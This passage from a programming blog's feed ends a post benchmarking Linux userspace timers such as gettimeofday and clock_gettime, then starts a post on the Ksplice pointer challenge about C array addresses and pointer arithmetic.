&lt;input type='checkbox' id='ClRoaXMgY2FuIGJlIGV4cGxhaW5lZCBkdWUgaXRzIGltcGxlbWVudGF0aW9uOiBpbnN0ZWFkIG9mIGRvaW5nIGEKc3lzY2FsbCwgYSBjYWxsIHRvIGBnZXR0aW1lb2ZkYXkoKWAgY2FsbHMgYSBzbmlwcGV0IG9mIGNvZGUgaW4gdXNlcgpzcGFjZS4KClNlZSBtb3JlIGFib3V0IFt2c3lzY2FsbCBhbmQgdkRTTyBoZXJlXShodHRwczovLzB4YXguZ2l0Ym9va3MuaW8vbGludXgtaW5zaWRlcy9jb250ZW50L1N5c0NhbGwvbGludXgtc3lzY2FsbC0zLmh0bWwpCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
This can be explained due its implementation: instead of doing a syscall, a call to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gettimeofday&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; calls a snippet of code in user space.
&lt;br /&gt;&lt;br /&gt;
See more about &lt;a href="https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-3.html"&gt;vsyscall and vDSO here&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gettimeofday&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; shown the best performance: the worst time measured between two consecutive calls is just 2 microseconds, which it is twice the minimum resolution of the function.&lt;/p&gt;
&lt;p&gt;Fast but it is also super imprecise.&lt;/p&gt;
&lt;p&gt;More than 75% of the differences between two consecutive measurements are zero that means that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gettimeofday&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; returns a cached value and it is updated very infrequently.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;clock type: tofd
              tval
count  9999.000000
mean     27.102710
std     166.646544
min       0.000000
25%       0.000000
50%       0.000000
75%       0.000000
max    2000.000000&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In addition to its intrinsic imprecision, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gettimeofday&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is &lt;strong&gt;not guaranteed to be monotonically increasing&lt;/strong&gt;. So you can see &lt;em&gt;jumps&lt;/em&gt; to the future or event to the past.&lt;/p&gt;
&lt;p&gt;This is because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gettimeofday&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is in sync with external sources of time like NTP. The user may even change it running &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Fast but not useful to measure differences of time.&lt;/p&gt;
&lt;h3 id="getrusage"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;getrusage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Something similar happens with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;getrusage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: it is slightly slower than &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gettimeofday&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but it is still super fast (7 microseconds) but returns cached values (at least half of the times).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Clock type: ruse
              tval
count  9999.000000
mean    524.152415
std     656.260508
min       0.000000
25%       0.000000
50%       0.000000
75%    1000.000000
max    7000.000000&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="clock_gettime"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;clock_gettime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='ClNlZSBhbHNvIHRoZSBbUEVQIDQxOF0oaHR0cHM6Ly93d3cucHl0aG9uLm9yZy9kZXYvcGVwcy9wZXAtMDQxOC8jdGltZS1tb25vdG9uaWMpLgogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClNlZSBhbHNvIHRoZSBbUEVQIDQxOF0oaHR0cHM6Ly93d3cucHl0aG9uLm9yZy9kZXYvcGVwcy9wZXAtMDQxOC8jdGltZS1tb25vdG9uaWMpLgogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
See also the &lt;a href="https://www.python.org/dev/peps/pep-0418/#time-monotonic"&gt;PEP 418&lt;/a&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The manpage describes four kind of clocks that may work:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_MONOTONIC&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: monotonic time but it may be affected by incremental changes done by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;adjtime&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or NTP.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_MONOTONIC_RAW&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_MONOTONIC&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but it is not affected by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;adjtime&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or NTP. Uses hardware-specific.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_PROCESS_CPUTIME_ID&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: per process clock that measures the CPU time for the process (among all the threads).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_THREAD_CPUTIME_ID&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: per thread clock that measures the CPU time for that particular thread.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;clock_gettime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the only that returned values that make sense and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_MONOTONIC&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the winner.&lt;/p&gt;
&lt;p&gt;It has the smallest elapsed time (80 nanoseconds) and it has a dispersion of the values of few nanoseconds.&lt;/p&gt;
&lt;p&gt;This can be seen in the percentiles 80, 84, 85, 86 nanoseconds.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_PROCESS_CPUTIME_ID&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_THREAD_CPUTIME_ID&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are in the second place.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;         MONOTONIC    MONOTONIC_RAW   PROCESS_CPUTIME    THREAD_CPUTIME
              tval             tval              tval              tval
count  9999.000000      9999.000000       9999.000000       9999.000000
mean    102.900290       773.215422        387.565257        379.232923
std     295.741321       200.428225        216.037233        210.391130
min      80.000000       709.000000        366.000000        358.000000
25%      84.000000       719.000000        374.000000        367.000000
50%      85.000000       723.000000        377.000000        370.000000
75%      86.000000       728.000000        401.000000        391.000000
max    8019.000000     13532.000000      17392.000000      17572.000000&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In all the cases the clocks are quite stable and the outliers are probably due noise in the system.&lt;/p&gt;
&lt;h2 id="conclusions"&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;clock_gettime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_MONOTONIC&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the winner, at least in my 4.19 kernel, with a minimum delta of 80 to 86 nanoseconds.&lt;/p&gt;
&lt;p&gt;In second place &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;clock_gettime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_PROCESS_CPUTIME_ID&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_THREAD_CPUTIME_ID&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. Good performance, roughly 4 or 5 times slower than &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_MONOTONIC&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;clock_gettime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_MONOTONIC_RAW&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not bad but it is at least 8 times slower than &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;CLOCK_MONOTONIC&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The rest of the clocks are &lt;strong&gt;not&lt;/strong&gt; useful.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/02/27/High-Precision-Timers.html" rel="alternate" type="text/html" title="High Precision Timers (userspace)"/>
    <category term="timers" label="timers"/>
    <category term="clocks" label="clocks"/>
    <category term="performance" label="performance"/>
    <published>2021-02-27T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/02/18/Ksplice-Pointer-Challenge.html</id>
    <title>Ksplice-Pointer-Challenge</title>
    <updated>2021-02-18T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;What does the following code?&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;!--more--&gt;
&lt;p&gt;This problem was &lt;a href="https://blogs.oracle.com/linux/the-ksplice-pointer-challenge-v2"&gt;posted&lt;/a&gt; in 2011.&lt;/p&gt;
&lt;p&gt;Apparently t born in the context of the developing of &lt;a href="https://en.wikipedia.org/wiki/Ksplice"&gt;ksplice&lt;/a&gt;, a project made by the students of the MIT to patch the Linux kernel in runtime without needing to boot.&lt;/p&gt;
&lt;p&gt;The challenge is just about printing 4 things.&lt;/p&gt;
&lt;p&gt;Despite being so simple in comparison with what &lt;a href="https://en.wikipedia.org/wiki/Ksplice"&gt;ksplice&lt;/a&gt; does, the challenge may had a few surprises for you.&lt;/p&gt;
&lt;h2 id="the-analysis"&gt;The analysis&lt;/h2&gt;
&lt;p&gt;We reserve 5 &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;s in the stack:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;stdio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='ClRoZSBleGFtcGxlcyB0aGF0IGFyZSB5b3Ugc2VlaW5nIGFyZSAqKmV4ZWN1dGVkIGJ5IHJlYWwqKiBpbiBhIG1hY2hpbmUKYW5kICoqY29tcGFyZWQgYnkgcmVhbCoqIHdpdGggZXhwZWN0ZWQgdmFsdWVzIGJlbG93IHRoZSBleGFtcGxlLgoKQmVjYXVzZSBJIGNhbm5vdCBoYXJkY29kZSBhbiBhZGRyZXNzIChiZWNhdXNlIHRoZXkgYXJlIG5vdApkZXRlcm1pbmlzdGljKSBJJ20gZ29pbmcgdG8gKipjYXB0dXJlKiogdGhlIGFkZHJlc3Mgd2l0aCB0aGUKYDxhcnJheS1hZGRyPmAgdGFnIGFuZCB1c2UgaXQgbGF0ZXIgZm9yIGNvbXBhcmlzb24uCgpUaGUgbWFnaWMgYmVoaW5kIHRoaXMgaXMgW2J5ZXhhbXBsZV0oaHR0cHM6Ly9ieWV4YW1wbGVzLmdpdGh1Yi5pby8pLgogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBleGFtcGxlcyB0aGF0IGFyZSB5b3Ugc2VlaW5nIGFyZSAqKmV4ZWN1dGVkIGJ5IHJlYWwqKiBpbiBhIG1hY2hpbmUKYW5kICoqY29tcGFyZWQgYnkgcmVhbCoqIHdpdGggZXhwZWN0ZWQgdmFsdWVzIGJlbG93IHRoZSBleGFtcGxlLgoKQmVjYXVzZSBJIGNhbm5vdCBoYXJkY29kZSBhbiBhZGRyZXNzIChiZWNhdXNlIHRoZXkgYXJlIG5vdApkZXRlcm1pbmlzdGljKSBJJ20gZ29pbmcgdG8gKipjYXB0dXJlKiogdGhlIGFkZHJlc3Mgd2l0aCB0aGUKYDxhcnJheS1hZGRyPmAgdGFnIGFuZCB1c2UgaXQgbGF0ZXIgZm9yIGNvbXBhcmlzb24uCgpUaGUgbWFnaWMgYmVoaW5kIHRoaXMgaXMgW2J5ZXhhbXBsZV0oaHR0cHM6Ly9ieWV4YW1wbGVzLmdpdGh1Yi5pby8pLgogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The examples that are you seeing are &lt;strong&gt;executed by real&lt;/strong&gt; in a machine and &lt;strong&gt;compared by real&lt;/strong&gt; with expected values below the example.
&lt;br /&gt;&lt;br /&gt;
Because I cannot hardcode an address (because they are not deterministic) I’m going to &lt;strong&gt;capture&lt;/strong&gt; the address with the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; tag and use it later for comparison.
&lt;br /&gt;&lt;br /&gt;
The magic behind this is &lt;a href="https://byexamples.github.io/"&gt;byexample&lt;/a&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We then print the address of the array:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The address of the array is the address of the first element. In a more verbose but perhaps more explicit notation:&lt;/p&gt;
&lt;p&gt;&lt;label for='CltieWV4YW1wbGVdKGh0dHBzOi8vYnlleGFtcGxlcy5naXRodWIuaW8vKSB3aWxsICoqcGFzdGUqKiB0aGUKcHJldmlvdXNseSBjYXB0dXJlZCB0ZXh0IHJlcGxhY2luZyB0aGUgYDxhcnJheS1hZGRyPmAgaW4gdGhlIHNuaXBwZXQuCgpSZW1lbWJlciB0aGlzIGlzIHRoZSBudW1iZXIgcHJpbnRlZCBieSB0aGUgcHJldmlvdXMgYHByaW50ZmAuIEJlY2F1c2UKaXQgKmlzKiBhbiBpbnRlZ2VyIHRoZSBjb21waWxlciB3aWxsIHdhcm4gdXMgZHVlIHRoZSBjb21wYXJpc29uIG9mIGEKcG9pbnRlciAobGVmdCBzaWRlKSBhbmQgYSBudW1iZXIgKHJpZ2h0IHNpZGUpLgoKVGhlIGAoaW50KilgIGNhc3QgaXMgdG8gdGVsbCB0aGUgY29tcGlsZXIgIml0IGlzIG9rYXkgdG8gY29tcGFyZSIuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltieWV4YW1wbGVdKGh0dHBzOi8vYnlleGFtcGxlcy5naXRodWIuaW8vKSB3aWxsICoqcGFzdGUqKiB0aGUKcHJldmlvdXNseSBjYXB0dXJlZCB0ZXh0IHJlcGxhY2luZyB0aGUgYDxhcnJheS1hZGRyPmAgaW4gdGhlIHNuaXBwZXQuCgpSZW1lbWJlciB0aGlzIGlzIHRoZSBudW1iZXIgcHJpbnRlZCBieSB0aGUgcHJldmlvdXMgYHByaW50ZmAuIEJlY2F1c2UKaXQgKmlzKiBhbiBpbnRlZ2VyIHRoZSBjb21waWxlciB3aWxsIHdhcm4gdXMgZHVlIHRoZSBjb21wYXJpc29uIG9mIGEKcG9pbnRlciAobGVmdCBzaWRlKSBhbmQgYSBudW1iZXIgKHJpZ2h0IHNpZGUpLgoKVGhlIGAoaW50KilgIGNhc3QgaXMgdG8gdGVsbCB0aGUgY29tcGlsZXIgIml0IGlzIG9rYXkgdG8gY29tcGFyZSIuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="https://byexamples.github.io/"&gt;byexample&lt;/a&gt; will &lt;strong&gt;paste&lt;/strong&gt; the previously captured text replacing the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in the snippet.
&lt;br /&gt;&lt;br /&gt;
Remember this is the number printed by the previous &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. Because it &lt;em&gt;is&lt;/em&gt; an integer the compiler will warn us due the comparison of a pointer (left side) and a number (right side).
&lt;br /&gt;&lt;br /&gt;
The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; cast is to tell the compiler “it is okay to compare”.
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// byexample: +paste&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Array increments (and decrements) are in terms of the size of the element.&lt;/p&gt;
&lt;p&gt;In our case, the array element is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plus&lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plus&lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// byexample: +paste&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
